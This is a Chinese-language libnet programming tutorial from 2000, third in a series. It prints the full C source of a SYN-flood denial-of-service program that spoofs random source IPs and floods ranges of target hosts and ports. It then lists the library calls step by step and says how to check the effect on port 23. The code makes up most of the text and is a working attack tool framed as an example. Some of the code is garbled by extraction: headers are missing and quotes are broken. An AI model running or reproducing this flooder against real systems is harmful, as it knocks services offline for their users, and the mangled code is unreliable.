libnet使用举例(3) 2000-01-01 武汉白云黄鹤站 安全文摘 作者:小四 < mailto: scz@isbase.com > 主页:http://www.isbase.com 日期:2000-07-27 11:05 syn-flood的原理不再重复。需要通过命令行传递目标IP,应该允许指定单个IP或者 指定一个IP范围,这个可以统一成指定IP范围。还需要通过命令行传递目标端口,同 上,允许指定端口范围,指定单个PORT的时候就是把范围局限在一个端口上。无论什 么理由,都不应该直接使用本机(发起攻击的主机)IP作为源IP,所以需要通过命令行 指定一个伪造的源IP,在命令行上并未提供源IP的情况下,使用伪随机数发生器产生 伪随机源IP。对源端口的处理类似源IP。所谓flood,自然要考虑发送SYN报文的次数, 也通过命令行参数指定。 下面举例是在i386/Linux平台上进行的,使用了getopt()函数长选项支持,如果转到 SPARC/Solaris平台上,一般是不支持长选项的,此次故意没有提供这个兼容性考虑, N年不用长选项,手痒痒,将就一下啦,如果要移植,换掉命令行参数处理部分即可。 -------------------------------------------------------------------------- /* * File : syn flood program for i386/Linux using libnet * Version: 0.99 alpha * Author : scz < mailto: scz@isbase.com > * : http://www.isbase.com * Complie: gcc -O3 -o sf syn-flood.c `libnet-config --defines --cflags` `libnet-config --libs` * Usage : ./sf --dil 192.168.10.2 --dih 192.168.10.2 --dpl 23 --dph 23 * Date : 2000-07-27 10:52 */ /******************************************************************* * * * 头文件 * * * *******************************************************************/ #include #include #include /* 使用time()产生随机化种子 */ #include /* 使用getopt()长选项支持 */ #include /* 使用libnet必须包含这个头文件 */ /******************************************************************* * * * 宏定义 * * * *******************************************************************/ #define _GNU_SOURCE #define SUCCESS 0 #define FAILURE -1 #define DEFAULTSYNNUMBER 74 /* 缺省发送SYN报文数目 */ struct ipoctet { char a[4]; char b[4]; char c[4]; char d[4]; }; struct ipocteti { int a; int b; int c; int d; }; /******************************************************************* * * * 全局变量 * * * *******************************************************************/ /* 用于初始化伪随机数发生器 */ u_long randomState[64] = { 0x00000003, 0x32d9c024, 0x9b663182, 0x5da1f342, 0x7449e56b, 0xbeb1dbb0, 0xab5c5918, 0x946554fd, 0x8c2e680f, 0xeb3d799f, 0xb11ee0b7, 0x2d436b86, 0xda672e2a, 0x1588ca88, 0xe369735d, 0x904f35f7, 0xd7158fd6, 0x6fa6f051, 0x616e6b96, 0xac94efdc, 0xde3b81e0, 0xdf0a6fb5, 0xf103bc02, 0x48f340fb, 0x36413f93, 0xc622c298, 0xf5a42ab8, 0x8a88d77b, 0xf5ad9d0e, 0x8999220b, 0x27fb47b9, 0x9a319039, 0x94102000, 0x9610000a, 0xc60a0000, 0x90022001, 0x8408e07f, 0x8528800a, 0x8088e080, 0x02800004, 0x9612c002, 0x10bffff9, 0x9402a007, 0x81c3e008, 0xd6224000, 0x86102000, 0x94100003, 0xd60a0000, 0x90022001, 0x840ae07f, 0x85288003, 0x94128002, 0x808ae080, 0x12bffffa, 0x8600e007, 0x80a0e01f, 0x18800006, 0x808ae040, 0x02800004, 0x84103fff, 0x85288003, 0x94128002, 0x81c3e008, 0xd4224000 }; u_char * packet = NULL; /* syn-flood不需要负载 */ size_t packet_size = LIBNET_IP_H + LIBNET_TCP_H; int rawSocket; /******************************************************************* * * * 函数原型 * * * *******************************************************************/ void Libnet_do_checksum ( u_char * buf, int protocol, int len ); void Libnet_init_packet ( size_t p_size, u_char ** buf ); int Libnet_open_raw_sock ( int protocol ); void Libnet_write_ip ( int sock, u_char * packet, int len ); void synFlood ( u_long srcIp, u_short srcPort, u_long dstIp, u_short dstPort, u_long synNumber ); void usage ( char * arg ); /*----------------------------------------------------------------------*/ void Libnet_do_checksum ( u_char * buf, int protocol, int len ) { if ( libnet_do_checksum( buf, protocol, len ) == -1 ) { libnet_error( LIBNET_ERR_FATAL, "libnet_do_checksum failed/n" ); } return; } /* end of Libnet_do_checksum */ void Libnet_init_packet ( size_t p_size, u_char ** buf ) { if ( libnet_init_packet( p_size, buf ) == -1 ) { libnet_error( LIBNET_ERR_FATAL, "Can"t initialize packet/n" ); } return; } /* end of Libnet_init_packet */ int Libnet_open_raw_sock ( int protocol ) { int s; if ( ( s = libnet_open_raw_sock( protocol ) ) == -1 ) { libnet_error( LIBNET_ERR_FATAL, "Can"t open raw socket %08x/n", protocol ); } return( s ); } /* end of Libnet_open_raw_sock */ void Libnet_write_ip ( int sock, u_char * packet, int len ) { int w; if ( ( w = libnet_write_ip( sock, packet, len ) ) < len ) { libnet_error( LIBNET_ERR_WARNING, "libnet_write_ip only wrote %d bytes/n", w ); } return; } /* end of Libnet_write_ip */ void synFlood ( u_long srcIp, u_short srcPort, u_long dstIp, u_short dstPort, u_long synNumber ) { u_long s; /* 构造IP头 */ libnet_build_ip( LIBNET_TCP_H, /* IP数据区长度 */ IPTOS_LOWDELAY, /* IP tos */ ( u_short )random(), /* IP ID */ 0, /* frag stuff */ 255, /* TTL */ IPPROTO_TCP, /* 上层协议 */ srcIp, /* big-endian序 */ dstIp, /* 目标IP */ NULL, /* 无选项 */ 0, /* 选项长度零 */ packet ); /* 指向IP头 */ for ( s = 0; s < synNumber; s++ ) { // 为了保证syn-flood成功,必须不断变更相关五元组,这里 // 通过不断变更源端口达到目的。源IP之所以不类似处理,因为考虑在有 // 源IP限制的情况下进行syn-flood。 /* 构造TCP头 */ libnet_build_tcp( ( u_short )( srcPort + s ), /* 源端口 */ dstPort, /* 目标端口 */ 0x51211314, /* seq num */ 0, /* ack num */ TH_SYN, /* control flags */ 1024, /* window size */ 0, /* urgent pointer */ NULL, /* payload (none) */ 0, /* payload length */ packet + LIBNET_IP_H ); /* 指向TCP头 */ /* 计算TCP校验和,IP校验和由内核亲自计算 */ Libnet_do_checksum( packet, IPPROTO_TCP, LIBNET_TCP_H ); /* 发送SYN报文 */ Libnet_write_ip( rawSocket, packet, packet_size ); // 这个输出很耗费时间,如果不是调试用,应该去掉 // fprintf( stderr, "." ); } /* end of for */ return; } /* end of synFlood */ void usage ( char * arg ) { fprintf( stderr, " Usage: %s [--si srcIp] [--dil dstIpLow] [--dih dstIpHigh]/n/t" "[--sp srcPort] [--dpl dstPortLow] [--dph dstPortHigh]/n/t" "[--num synNumber]/n", arg ); exit( FAILURE ); } /* end of usage */ int main ( int argc, char * argv[] ) { #define LONGOPTIONCHAR "-" /* 定义长选项 */ static struct option longOption[] = { { "si", 1, 0, LONGOPTIONCHAR }, /* 源IP */ { "dil", 1, 0, LONGOPTIONCHAR }, /* 目标IP低端 */ { "dih", 1, 0, LONGOPTIONCHAR }, /* 目标IP高端 */ { "sp", 1, 0, LONGOPTIONCHAR }, /* 源端口 */ { "dpl", 1, 0, LONGOPTIONCHAR }, /* 目标端口低端 */ { "dph", 1, 0, LONGOPTIONCHAR }, /* 目标端口高端 */ { "num", 1, 0, LONGOPTIONCHAR }, /* SYN报文数目 */ { 0, 0, 0, 0 } }; int longOptionIndex = 0; /* 用于处理长选项 */ int i, j, a, b, c, d; struct ipoctet ipstart, ipend; struct ipocteti ipstarti, ipendi; struct ipoctet * pipstart = &ipstart; struct ipoctet * pipend = &ipend; /* 源IP使用使用网络字节序指定 */ u_long srcIp = 0xffffffff; u_long dstIp; u_short srcPort = 0xffff; u_short dstPort; u_short dstPortLow = 1; /* 缺省端口范围1-1024 */ u_short dstPortHigh = 1024; u_long synNumber = DEFAULTSYNNUMBER; /* SYN报文数目 */ unsigned int randomSeed = ( unsigned int )time( NULL ); if ( argc == 1 ) { usage( argv[0] ); } initstate( randomSeed, ( char * )randomState, 128 ); setstate( ( char * )randomState ); opterr = 0; /* don"t want getopt() writing to stderr */ while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex ) ) != EOF ) { switch ( c ) { case LONGOPTIONCHAR: /* 处理长选项 */ /* fprintf( stderr, "option %s", longOption[ longOptionIndex ].name ); if ( optarg ) { fprintf( stderr, " with arg %s", optarg ); } fprintf( stderr, "/n" ); */ if ( optarg ) { switch ( longOptionIndex ) { case 0: /* 返回值是big-endian序 */ srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ); if ( srcIp == -1 ) { libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s/n", optarg ); } break; case 1: /* 验证是否是点分十进制IPv4地址表示 */ if ( libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ) == -1 ) { /* 第一个参数为LIBNET_ERR_FATAL,会导致exit */ libnet_error( LIBNET_ERR_FATAL, "Bad dstIpLow: %s/n", optarg ); } i = j = 0; while ( optarg[i] != "." ) { pipstart->a[ j++ ] = optarg[ i++ ]; } pipstart->a[j] = "/0" j = 0; i++; while ( optarg[i] != "." ) { pipstart->b[ j++ ] = optarg[ i++ ]; } pipstart->b[j] = "/0" j = 0; i++; while ( optarg[i] != "." ) { pipstart->c[ j++ ] = optarg[ i++ ]; } pipstart->c[j] = "/0" j = 0; i++; while ( optarg[i] != "/0" ) { pipstart->d[ j++ ] = optarg[ i++ ]; } pipstart->d[j] = "/0" /* Convert to integer values and store in struct */ if ( pipstart->a != NULL ) { ipstarti.a = atoi( pipstart->a ); } if ( pipstart->b != NULL ) { ipstarti.b = atoi( pipstart->b ); } if ( pipstart->c != NULL ) { ipstarti.c = atoi( pipstart->c ); } if ( pipstart->d != NULL ) { ipstarti.d = atoi( pipstart->d ); } break; case 2: /* 验证是否是点分十进制IPv4地址表示 */ if ( libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ) == -1 ) { /* 第一个参数为LIBNET_ERR_FATAL,会导致exit */ libnet_error( LIBNET_ERR_FATAL, "Bad dstIpHigh: %s/n", optarg ); } i = j = 0; while ( optarg[i] != "." ) { pipend->a[ j++ ] = optarg[ i++ ]; } pipend->a[j] = "/0" j = 0; i++; while ( optarg[i] != "." ) { pipend->b[ j++ ] = optarg[ i++ ]; } pipend->b[j] = "/0" j = 0; i++; while ( optarg[i] != "." ) { pipend->c[ j++ ] = optarg[ i++ ]; } pipend->c[j] = "/0" j = 0; i++; while ( optarg[i] != "/0" ) { pipend->d[ j++ ] = optarg[ i++ ]; } pipend->d[j] = "/0" /* Convert to integer values and store in struct */ if ( pipend->a != NULL ) { ipendi.a = atoi( pipend->a ); } if ( pipend->b != NULL ) { ipendi.b = atoi( pipend->b ); } if ( pipend->c != NULL ) { ipendi.c = atoi( pipend->c ); } if ( pipend->d != NULL ) { ipendi.d = atoi( pipend->d ); } break; case 3: /* 采用10进制 */ srcPort = ( u_short )strtoul( optarg, NULL, 10 ); break; case 4: dstPortLow = ( u_short )strtoul( optarg, NULL, 10 ); break; case 5: dstPortHigh = ( u_short )strtoul( optarg, NULL, 10 ); break; case 6: /* 采用10进制 */ synNumber = ( u_long )strtoul( optarg, NULL, 10 ); if ( synNumber == 0 ) { fprintf( stderr, "Check your synNumber/n" ); exit( FAILURE ); } break; default: break; } /* end of switch */ } break; case "h": case "?": usage( argv[0] ); } /* end of switch */ } /* end of while */ if ( dstPortLow > dstPortHigh ) { fprintf( stderr, "Check your low and high port/n" ); exit( FAILURE ); } fprintf( stderr, "[ Flooding from %d.%d.%d.%d --> %d.%d.%d.%d ]/n", ipstarti.a, ipstarti.b, ipstarti.c, ipstarti.d, ipendi.a, ipendi.b, ipendi.c, ipendi.d ); fprintf( stderr, "[ Flooding from %u --> %u ]/n", dstPortLow, dstPortHigh ); /* 分配内存并初始化成零 */ Libnet_init_packet( packet_size, &packet ); /* 创建raw_socket */ rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); for ( a = ipstarti.a; a <= ipendi.a; a++ ) { for ( b = ipstarti.b; b <= ipendi.b; b++ ) { for ( c = ipstarti.c; c <= ipendi.c; c++ ) { for ( d = ipstarti.d; d <= ipendi.d; d++ ) { /* 要求提供big-endian序,而i386/Linux本身是little-endian序 */ dstIp = d * 0x1000000 + c * 0x10000 + b * 0x100 + a; for ( dstPort = dstPortLow; dstPort <= dstPortHigh; dstPort++ ) { if ( srcIp == 0xffffffff ) { /* 随机化源IP */ srcIp = ( u_long )random(); } if ( srcPort == 0xffff ) { /* 随机化源PORT */ srcPort = ( u_short )random(); } synFlood( srcIp, srcPort, dstIp, dstPort, synNumber ); } } } } } /* 关闭raw_socket */ libnet_close_raw_sock( rawSocket ); /* 释放由libnet_init_packet()分配的内存 */ libnet_destroy_packet( &packet ); fprintf( stderr, "/n[ Flood finished ]/n" ); return( SUCCESS ); } /* end of main */ /*----------------------------------------------------------------------*/ -------------------------------------------------------------------------- 事实上libnet实在是不适合开发syn-flood这种需要尽量优化并提高效率的DoS程序, 大量循环重复构造报文,函数调用的开销增大,而前后修改并不很多,完全可以在构 造报文的函数内部做优化,但现在我们使用的是封装过的libnet库函数,没有这个优 化机会。 在SPARC/Solaris下用netstat -n -P tcp是看不到SYN_RCVD状态的,必须用如下命令 netstat -na | grep SYN_RCVD查看效果。欲验证效果就syn-flood 23,然后telnet 即可。 是不是感觉命令行太罗嗦啦,那不关我事情,目的有三,长选项温习,伪随机数发生 器,使用libnet,三个目的都达到了,程序本身并没有考虑易用性,也不是作为有效 工具提供,仅仅是个libnet编程例子。现在我们来总结一下libnet库编程的关键步骤: 1) 分配内存并初始化成零 Libnet_init_packet( packet_size, &packet ); 2) 创建raw_socket rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); 3) 构造IP头 libnet_build_ip( LIBNET_TCP_H, /* IP数据区长度 */ IPTOS_LOWDELAY, /* IP tos */ ( u_short )random(), /* IP ID */ 0, /* frag stuff */ 255, /* TTL */ IPPROTO_TCP, /* 上层协议 */ srcIp, /* big-endian序 */ dstIp, /* 目标IP */ NULL, /* 无选项 */ 0, /* 选项长度零 */ packet ); /* 指向IP头 */ 4) 构造TCP头 libnet_build_tcp( ( u_short )( srcPort + s ), /* 源端口 */ dstPort, /* 目标端口 */ 0x51211314, /* seq num */ 0, /* ack num */ TH_SYN, /* control flags */ 1024, /* window size */ 0, /* urgent pointer */ NULL, /* payload (none) */ 0, /* payload length */ packet + LIBNET_IP_H ); /* 指向TCP头 */ 5) 计算TCP校验和,IP校验和由内核亲自计算 Libnet_do_checksum( packet, IPPROTO_TCP, LIBNET_TCP_H ); 6) 发送SYN报文 Libnet_write_ip( rawSocket, packet, packet_size ); 7) 关闭raw_socket libnet_close_raw_sock( rawSocket ); 8) 释放由libnet_init_packet()分配的内存 libnet_destroy_packet( &packet ); 以上八步可能是最简单的libnet编程举例了,如果你对NT/2K下的可移植性感兴趣, 可以替换掉长选项支持、伪随机发生器部分,尝试移植一下。后面可能还会举点其他 libnet库编程的例子,不能确定是什么。 <待续> |
libnet使用举例(3)
最新推荐文章于 2012-03-13 20:11:18 发布